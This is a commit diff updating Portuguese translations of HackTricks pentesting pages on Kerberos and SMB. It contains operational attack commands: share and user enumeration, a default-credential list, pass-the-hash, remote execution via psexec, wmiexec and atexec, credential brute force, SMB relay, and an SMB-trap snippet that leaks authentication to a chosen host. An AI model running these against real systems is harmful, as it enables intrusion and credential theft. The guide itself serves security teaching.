maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ

Browse Source
This commit is contained in:
Translator 2025-09-29 09:31:46 +00:00
parent 9bf5e7e63a
commit e655ba139a
4 changed files with 413 additions and 283 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

58
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -4,18 +4,55 @@
## Informações Básicas
**Kerberos** opera com um princípio onde autentica usuários sem gerenciar diretamente seu acesso a recursos. Esta é uma distinção importante porque sublinha o papel do protocolo em estruturas de segurança.
**Kerberos** opera com o princípio de autenticar usuários sem gerenciar diretamente seu acesso a recursos. Essa é uma distinção importante porque ressalta o papel do protocolo em estruturas de segurança.
Em ambientes como **Active Directory**, **Kerberos** é fundamental para estabelecer a identidade dos usuários validando suas senhas secretas. Este processo garante que a identidade de cada usuário seja confirmada antes que interajam com recursos de rede. No entanto, **Kerberos** não estende sua funcionalidade para avaliar ou impor as permissões que um usuário tem sobre recursos ou serviços específicos. Em vez disso, fornece uma maneira segura de autenticar usuários, que é um passo crítico no processo de segurança.
Em ambientes como **Active Directory**, o **Kerberos** é fundamental para estabelecer a identidade dos usuários ao validar suas senhas secretas. Esse processo garante que a identidade de cada usuário seja confirmada antes de interagir com recursos da rede. No entanto, o **Kerberos** não estende sua funcionalidade para avaliar ou aplicar as permissões que um usuário possui sobre recursos ou serviços específicos. Em vez disso, ele fornece uma forma segura de autenticar usuários, que é um primeiro passo crítico no processo de segurança.
Após a autenticação pelo **Kerberos**, o processo de tomada de decisão sobre o acesso a recursos é delegado a serviços individuais dentro da rede. Esses serviços são então responsáveis por avaliar os direitos e permissões do usuário autenticado, com base nas informações fornecidas pelo **Kerberos** sobre os privilégios do usuário. Este design permite uma separação de preocupações entre autenticar a identidade dos usuários e gerenciar seus direitos de acesso, possibilitando uma abordagem mais flexível e segura para a gestão de recursos em redes distribuídas.
Após a autenticação pelo **Kerberos**, o processo de tomada de decisão quanto ao acesso a recursos é delegado aos serviços individuais dentro da rede. Esses serviços são então responsáveis por avaliar os direitos e permissões do usuário autenticado, com base nas informações fornecidas pelo **Kerberos** sobre os privilégios do usuário. Esse desenho permite uma separação de responsabilidades entre autenticar a identidade dos usuários e gerenciar seus direitos de acesso, possibilitando uma abordagem mais flexível e segura para o gerenciamento de recursos em redes distribuídas.
**Porta Padrão:** 88/tcp/udp
**Porta padrão:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Para aprender a abusar do Kerberos, você deve ler o post sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
### **Para aprender a abusar do Kerberos você deve ler o post sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Ambientes somente com Kerberos: preparação do cliente e solução de problemas
Quando NTLM está desabilitado nos serviços de domínio (SMB/WinRM/etc.), você deve autenticar-se com Kerberos. Armadilhas comuns e um fluxo de trabalho funcional:
- A sincronização de horário é obrigatória. Se o relógio do seu host estiver defasado por mais de alguns minutos, você verá `KRB_AP_ERR_SKEW` e toda a autenticação Kerberos falhará. Sincronize contra o DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Gere um krb5.conf válido para o realm/domínio alvo. `netexec` (CME fork) pode gerar um para você enquanto testa SMB:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Obtenha um TGT e verifique o ccache:
```bash
kinit <user>
klist
```
- Use Kerberos com ferramentas SMB (nenhuma senha é enviada, usa seu ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH autenticação única (OpenSSH para Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Dicas:
- Garanta que seu `/etc/hosts` resolva o FQDN exato para o qual você fará SSH/SMB, e que ele apareça antes de quaisquer entradas de domínio sem prefixo se você estiver sobrescrevendo o DNS. Incompatibilidades de SPN fazem o GSSAPI falhar.
- Se NTLM estiver desabilitado no SMB você pode ver `STATUS_NOT_SUPPORTED` em tentativas NTLM; adicione `-k` para forçar Kerberos.
## Mais
@ -25,7 +62,7 @@ PORT STATE SERVICE
### MS14-068
A falha MS14-068 permite que um atacante manipule o token de login Kerberos de um usuário legítimo para reivindicar falsamente privilégios elevados, como ser um Administrador de Domínio. Essa reivindicação falsa é validada erroneamente pelo Controlador de Domínio, permitindo acesso não autorizado a recursos de rede em toda a floresta do Active Directory.
A falha MS14-068 permite que um atacante manipule o token de login Kerberos de um usuário legítimo para reivindicar falsamente privilégios elevados, como ser um Domain Admin. Essa reivindicação falsificada é validada por engano pelo Domain Controller, permitindo acesso não autorizado a recursos de rede por toda a floresta do Active Directory.
{{#ref}}
@ -34,7 +71,14 @@ https://adsecurity.org/?p=541
Outros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## Comandos Automáticos HackTricks
## Referências
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatic Commands
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.

189
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -4,35 +4,35 @@
## **Port 139**
O _**Network Basic Input Output System**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicações, PCs e Desktops dentro de uma rede local (LAN) interajam com o hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicações de software que operam em uma rede NetBIOS são feitas por meio dos seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e frequentemente são distintos do nome do computador. Uma sessão NetBIOS entre duas aplicações é iniciada quando uma aplicação (atuando como cliente) emite um comando para "chamar" outra aplicação (atuando como servidor) utilizando **TCP Port 139**.
O _**Network Basic Input Output System**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicações, PCs e desktops dentro de uma rede local (LAN) interajam com o hardware de rede e **facilitar a transmissão de dados pela rede**. A identificação e localização de aplicações de software que operam em uma rede NetBIOS são realizadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e frequentemente são distintos do nome do computador. Uma sessão NetBIOS entre duas aplicações é iniciada quando uma aplicação (atuando como cliente) envia um comando para "chamar" outra aplicação (atuando como servidor) utilizando **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
## Porta 445
Tecnicamente, Port 139 é referido como ‘NBT over IP’, enquanto Port 445 é identificado como ‘SMB over IP’. A sigla **SMB** significa ‘**Server Message Blocks**’, que também é conhecida modernamente como **Common Internet File System (CIFS)**. Como um protocolo de rede da camada de aplicação, SMB/CIFS é utilizado principalmente para permitir acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede.
Tecnicamente, a Porta 139 é referida como ‘NBT over IP’, enquanto a Porta 445 é identificada como ‘SMB over IP’. A sigla **SMB** significa ‘**Server Message Blocks**’, que também é modernamente conhecida como **Common Internet File System (CIFS)**. Como um protocolo de rede de camada de aplicação, SMB/CIFS é utilizado principalmente para permitir acesso compartilhado a arquivos, impressoras, portas seriais e facilitar várias formas de comunicação entre nós em uma rede.
Por exemplo, no contexto do Windows, destaca-se que SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS over TCP/IP, por meio da utilização de Port 445. Por outro lado, em outros sistemas, observa-se o uso de Port 139, indicando que SMB está sendo executado em conjunto com NetBIOS over TCP/IP.
Por exemplo, no contexto do Windows, destaca-se que SMB pode operar diretamente sobre TCP/IP, eliminando a necessidade de NetBIOS over TCP/IP, através da utilização da porta 445. Por outro lado, em outros sistemas, observa-se o emprego da porta 139, indicando que SMB está sendo executado em conjunto com NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
O **Server Message Block (SMB)**, operando em um modelo **cliente-servidor**, foi projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente na família de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais recentes do sistema da Microsoft interajam sem problemas com aqueles que executam versões mais antigas. Além disso, o projeto **Samba** oferece uma solução de software livre, possibilitando a implementação do SMB em sistemas **Linux** e Unix, facilitando assim a comunicação entre plataformas via SMB.
O protocolo **Server Message Block (SMB)**, que opera num modelo **client-server**, foi projetado para regular o **acesso a arquivos**, diretórios e outros recursos de rede como impressoras e roteadores. Utilizado principalmente na família de sistemas operacionais **Windows**, o SMB garante compatibilidade retroativa, permitindo que dispositivos com versões mais recentes do sistema operacional da Microsoft interajam sem problemas com aqueles que executam versões mais antigas. Adicionalmente, o projeto **Samba** oferece uma solução de software livre, permitindo a implementação do SMB em sistemas **Linux** e **Unix**, facilitando assim a comunicação cross-platform via SMB.
Shares, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidas por um servidor SMB, fazendo a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **direitos de acesso**, permitem um **controle granular** sobre as permissões de usuários, incluindo atributos como **`execute`**, **`read`** e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nas shares, e são distintas das permissões locais configuradas no servidor.
Shares, representando **partes arbitrárias do sistema de arquivos local**, podem ser fornecidos por um servidor SMB, tornando a hierarquia visível para um cliente parcialmente **independente** da estrutura real do servidor. As **Access Control Lists (ACLs)**, que definem **access rights**, permitem um **controle granular** sobre as permissões de usuário, incluindo atributos como **`execute`**, **`read`**, e **`full access`**. Essas permissões podem ser atribuídas a usuários individuais ou grupos, com base nos shares, e são distintas das permissões locais definidas no servidor.
### IPC$ Share
O acesso ao IPC$ share pode ser obtido através de uma null session anônima, permitindo a interação com serviços expostos via named pipes. A ferramenta `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a obtenção de:
O acesso ao share IPC$ pode ser obtido por meio de uma null session anônima, permitindo interação com serviços expostos via named pipes. A utilidade `enum4linux` é útil para esse propósito. Quando utilizada corretamente, ela possibilita a obtenção de:
- Informações sobre o sistema operacional
- Informação sobre o sistema operacional
- Detalhes sobre o domínio pai
- Uma lista de usuários e grupos locais
- Uma compilação de usuários e grupos locais
- Informações sobre SMB shares disponíveis
- A política de segurança efetiva do sistema
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB em uma rede. `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam devidamente protegidos.
Essa funcionalidade é crítica para administradores de rede e profissionais de segurança avaliarem a postura de segurança dos serviços SMB (Server Message Block) em uma rede. `enum4linux` fornece uma visão abrangente do ambiente SMB do sistema alvo, essencial para identificar vulnerabilidades potenciais e garantir que os serviços SMB estejam adequadamente protegidos.
```bash
enum4linux -a target_ip
```
@ -40,8 +40,7 @@ O comando acima é um exemplo de como `enum4linux` pode ser usado para realizar
## O que é NTLM
Se você não sabe o que é NTLM ou quer entender como ele funciona e como explorá-lo, achará muito interessante esta página sobre **NTLM** onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele:**
Se você não sabe o que é NTLM ou quer entender como ele funciona e como abusar dele, achará muito interessante esta página sobre **NTLM** onde é explicado **como este protocolo funciona e como você pode tirar proveito dele:**
{{#ref}}
../../windows-hardening/ntlm/
@ -55,7 +54,7 @@ nbtscan -r 192.168.0.1/24
```
### Versão do servidor SMB
Para procurar possíveis exploits para a versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:
Para procurar possíveis exploits para a versão do SMB é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas usadas, você pode:
- Use o módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**`
- Ou este script:
@ -82,23 +81,23 @@ searchsploit microsoft smb
```
### **Possíveis** Credenciais
| **Nome(s) de usuário** | **Senhas comuns** |
| ---------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### SMB Environment Information
### Informações do Ambiente SMB
### Obter informações
### Obter Informações
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -120,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerar Usuários, Grupos & Usuários Conectados
### Enumerar Usuários, Grupos e Usuários Logados
Esta informação já deve ter sido coletada pelos enum4linux e enum4linux-ng
Estas informações já devem ter sido coletadas pelo enum4linux e enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -140,7 +139,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Comando de uma linha
Oneliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -157,7 +156,7 @@ run
rpcclient-enumeration.md
{{#endref}}
### GUI connection from Linux
### Conexão GUI a partir do linux
#### No terminal:
@ -171,7 +170,7 @@ rpcclient-enumeration.md
### Listar pastas compartilhadas
É sempre recomendado verificar se você consegue acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
Recomenda-se sempre verificar se você consegue acessar algo; se você não tiver credenciais, tente usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Enumerar manualmente os compartilhamentos do Windows e conectar-se a eles**
### **Enumerar manualmente shares do Windows e conectar-se a eles**
Pode ser que você esteja impedido de exibir quaisquer compartilhamentos da máquina host e, quando tenta listá-los, pareça que não há compartilhamentos para conectar. Portanto, pode valer a pena tentar rapidamente conectar-se manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME ao usar uma sessão válida (ex.: null session ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe.
Pode ser que você esteja impedido de visualizar quaisquer shares da máquina host e, ao tentar listá-los, pareça que não há shares para conectar. Portanto, vale a pena tentar, rapidamente, conectar-se manualmente a um share. Para enumerar os shares manualmente, você pode buscar respostas como NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME ao usar uma sessão válida (e.g. null session ou credenciais válidas). Isso pode indicar se o share existe e você não tem acesso a ele, ou se o share não existe de fato.
Nomes de compartilhamento comuns para alvos Windows são
Common share names for windows targets are
- C$
- D$
@ -212,7 +211,7 @@ Nomes de compartilhamento comuns para alvos Windows são
- SYSVOL
- NETLOGON
(Nomes de compartilhamento comuns de _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Você pode tentar conectar-se a eles usando o seguinte comando
```bash
@ -238,10 +237,10 @@ done
```
exemplos
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Enumerar compartilhamentos no Windows / sem ferramentas de terceiros**
### **Enumerar shares do Windows / sem ferramentas de terceiros**
PowerShell
```bash
@ -253,21 +252,21 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
Console CMD
Console do CMD
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (interface gráfica)
MMC Snap-in (gráfico)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (interface gráfica), digite `\\<ip>\` para ver as pastas compartilhadas não ocultas disponíveis.
explorer.exe (interface gráfica), digite `\\<ip>\` para ver os shares disponíveis não ocultos.
### Montar uma pasta compartilhada
```bash
@ -276,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Baixar arquivos**
Leia as seções anteriores para aprender como se conectar usando credentials/Pass-the-Hash.
Leia as seções anteriores para aprender como conectar-se com credenciais/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -293,14 +292,14 @@ smbclient //<IP>/<share>
```
Comandos:
- mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (e.g. "" for all files)
- recurse: ativa recursão (padrão: off)
- prompt: alterna a solicitação de nomes de arquivo para off (padrão: on)
- mask: especifica a máscara usada para filtrar os arquivos dentro do diretório (ex.: "" para todos os arquivos)
- recurse: alterna a recursão (padrão: off)
- prompt: alterna a solicitação de nomes de arquivos (padrão: on)
- mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
(_Informações do manpage do smbclient_)
(_Informação da página de manual do smbclient_)
### Pesquisa de Pastas Compartilhadas do Domínio
### Busca por Pastas Compartilhadas do Domínio
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@ -312,13 +311,13 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
Particularmente interessantes nos compartilhamentos são os arquivos chamados **`Registry.xml`**, pois eles **podem conter senhas** de usuários configurados com **autologon** via Group Policy. Ou arquivos **`web.config`**, pois eles contêm credenciais.
> [!TIP]
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
> O **SYSVOL share** é **legível** por todos os usuários autenticados no domínio. Lá você pode **encontrar** muitos batch, VBScript, e PowerShell **scripts**.\
> Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis como **senhas**.
## Ler o Registro
## Ler o registro
Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. Impacket **`reg.py`** permite que você tente:
```bash
@ -328,35 +327,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
A **configuração padrão de** um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas **configurações perigosas**:
A **configuração padrão de** um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode conter algumas **configurações perigosas**:
| **Configuração** | **Descrição** |
| -------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Permitir listar os shares disponíveis no compartilhamento atual? |
| `read only = no` | Proibir a criação e modificação de arquivos? |
| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? |
| `guest ok = yes` | Permitir conectar ao serviço sem usar uma senha? |
| `enable privileges = yes` | Respeitar privilégios atribuídos a um SID específico? |
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? |
| `magic script = script.sh` | Qual script deve ser executado quando o script for encerrado? |
| `magic output = script.out`| Onde a saída do magic script precisa ser armazenada? |
| **Configuração** | **Descrição** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Permite listar os compartilhamentos disponíveis no compartilhamento atual? |
| `read only = no` | Proibir a criação e modificação de arquivos? |
| `writable = yes` | Permitir que usuários criem e modifiquem arquivos? |
| `guest ok = yes` | Permitir conectar-se ao serviço sem usar uma senha? |
| `enable privileges = yes` | Honrar privilégios atribuídos a um SID específico? |
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? |
| `magic script = script.sh` | Qual script deve ser executado quando o script for fechado? |
| `magic output = script.out` | Onde a saída do magic script precisa ser armazenada? |
O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**.
## Autenticar usando Kerberos
Você pode autenticar no Kerberos usando as ferramentas smbclient e rpcclient:
Você pode **autenticar-se** no **kerberos** usando as ferramentas **smbclient** e **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
Em ambientes somente com Kerberos (NTLM desativado), tentativas NTLM contra SMB podem retornar `STATUS_NOT_SUPPORTED`. Corrija problemas comuns do Kerberos e force Kerberos auth:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Para uma configuração completa do cliente (geração do krb5.conf, kinit, avisos sobre SSH GSSAPI/SPN) veja:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Executar Comandos**
### **crackmapexec**
crackmapexec pode executar comandos **abusando de** qualquer um de **mmcexec, smbexec, atexec, wmiexec** sendo **wmiexec** o **método padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`:
crackmapexec pode executar comandos **utilizando** qualquer um de **mmcexec, smbexec, atexec, wmiexec**, sendo **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`:
```bash
apt-get install crackmapexec
@ -380,8 +393,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Ambas as opções vão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá‑lo para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para o share ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**file-less technique**--).\
**Mais informações** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Ambas as opções vão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá-lo para **executar algo** (**psexec** irá fazer o **upload** de um arquivo executável para o ADMIN$ share e **smbexec** apontará para **cmd.exe/powershell.exe** e colocará nos argumentos o payload --**file-less technique-**-).\
**Mais info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -390,19 +403,19 @@ No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Usando **parâmetro**`-k` você pode autenticar via **kerberos** em vez de **NTLM**
Usando o **parâmetro** `-k` você pode autenticar-se com **kerberos** em vez de **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Execute furtivamente um shell de comandos sem tocar no disco ou iniciar um novo serviço usando DCOM via **porta 135.**\
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **port 135.**\
No **kali** ele está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando **parâmetro**`-k` você pode autenticar via **kerberos** em vez de **NTLM**
Usando o **parâmetro**`-k` você pode autenticar-se via **kerberos** em vez de **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,8 +424,8 @@ Usando **parâmetro**`-k` você pode autenticar via **kerberos** em vez de **NTL
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Executar comandos via Task Scheduler (usando _\pipe\atsvc_ via SMB).\
Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
Execute comandos via o Task Scheduler (usando _\pipe\atsvc_ via SMB).\
No **kali**, está localizado em /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -421,13 +434,13 @@ Em **kali** está localizado em /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd superfície de ataque e fuzzing do protocolo SMB2/SMB3 (syzkaller)
### Superfície de ataque do ksmbd e fuzzing do protocolo SMB2/SMB3 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce credenciais de usuários**
## **Bruteforce de credenciais de usuários**
**Isso não é recomendado, você pode bloquear uma conta se exceder o número máximo de tentativas permitidas**
```bash
@ -436,33 +449,33 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Este ataque usa o toolkit Responder para **capture SMB authentication sessions** em uma rede interna, e **relays** elas para uma **target machine**. Se a **authentication session** for bem-sucedida, ela automaticamente abrirá um **system** **shell**.\
Este ataque usa o Responder toolkit para **capturar sessões de autenticação SMB** em uma rede interna e **retransmiti-las** para uma **target machine**. Se a **sessão** de autenticação for bem-sucedida, ela irá automaticamente abrir um **system** **shell**.\
[**Mais informações sobre este ataque aqui.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
Isso ocorre com as funções:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
Que são usadas por alguns navegadores e ferramentas (como Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![Fonte: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
### SMBTrap usando MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![Fonte: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
